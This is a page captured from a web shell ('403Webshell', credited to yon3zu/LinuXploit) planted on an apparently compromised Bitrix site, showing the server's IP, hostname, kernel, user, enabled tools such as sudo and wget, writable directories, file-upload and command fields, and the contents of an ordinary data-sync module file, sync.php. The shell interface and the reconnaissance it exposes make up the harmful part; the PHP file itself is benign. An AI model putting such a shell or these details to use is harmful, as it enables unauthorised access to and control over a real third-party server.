403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/sproduction.datasync/scripts/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/sproduction.datasync/scripts/sync.php
<?
error_reporting( E_ERROR );

require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_before.php");

while (ob_get_level()) {
	ob_get_clean();
}

use \Bitrix\Main\Application,
	\SProduction\Datasync\Rest,
	\SProduction\Datasync\Controller,
	\SProduction\Datasync\CheckState,
	\SProduction\Datasync\Settings;
use SProduction\Datasync\FileLog;
use \SProduction\Datasync\PortalHandlers;
use \SProduction\Datasync\IblockProfilesBgrSync;

$incl_res = Bitrix\Main\Loader::includeSharewareModule('sproduction.datasync');
switch ($incl_res) {
	case Bitrix\Main\Loader::MODULE_NOT_FOUND:
		echo 'Module sproduction.datasync not found.';
		die();
	case Bitrix\Main\Loader::MODULE_DEMO_EXPIRED:
		echo 'Module sproduction.datasync demo expired.';
		die();
	default: // MODULE_INSTALLED
}

FileLog::setLabel();

$action = trim($_REQUEST['action'] ?? '');
FileLog::put('(sync.php) action: ' . $action);
$result = [];
$result['status'] = 'error';
$result['log'] = [];

$profile_id = (int)trim($_REQUEST['profile'] ?? 0);
if ($profile_id) {
	try {
		switch ($action) {

			// Run sync
			case 'run_sync':
				$bgrsync = new IblockProfilesBgrSync($profile_id);
				$script = '/bitrix/sprod_dsync_sync.php?action=run_iteration&profile=' . $profile_id;
				$bgrsync->startSync($script);
				$result['status'] = 'success';
				break;

			// Run sync
			case 'run_iteration':
				$bgrsync = new IblockProfilesBgrSync($profile_id);
				$script = '/bitrix/sprod_dsync_sync.php?action=run_iteration&profile=' . $profile_id;
				$bgrsync->runIteration($script);
				$result['status'] = 'success';
				break;

			// Run sync
			case 'check_sync':
				$bgrsync = new IblockProfilesBgrSync($profile_id);
				$result['sync']['state'] = $bgrsync->getState();
				$result['sync']['step'] = $bgrsync->getStep();
				$result['sync']['progress'] = $bgrsync->getStepProgress();
				$result['sync']['count'] = $bgrsync->getStepCount();
				$result['sync']['hint'] = $bgrsync->getProcessHint();
				$result['status'] = 'success';
				break;

			// Stop sync
			case 'stop_sync':
				$bgrsync = new IblockProfilesBgrSync($profile_id);
				$bgrsync->stopSync();
				$result['status'] = 'success';
				break;

		}
	} catch (Exception $e) {
		$result['status'] = 'error';
		$result['message'] = $e->getMessage() . ' [' . $e->getCode() . ']';
		FileLog::put('(sync.php) error: ' . $e->getMessage() . ' [' . $e->getCode() . ']');
	}
}
else {
	$result['message'] = 'Empty profile id';
}

echo \Bitrix\Main\Web\Json::encode($result);

Youez - 2016 - github.com/yon3zu
LinuXploit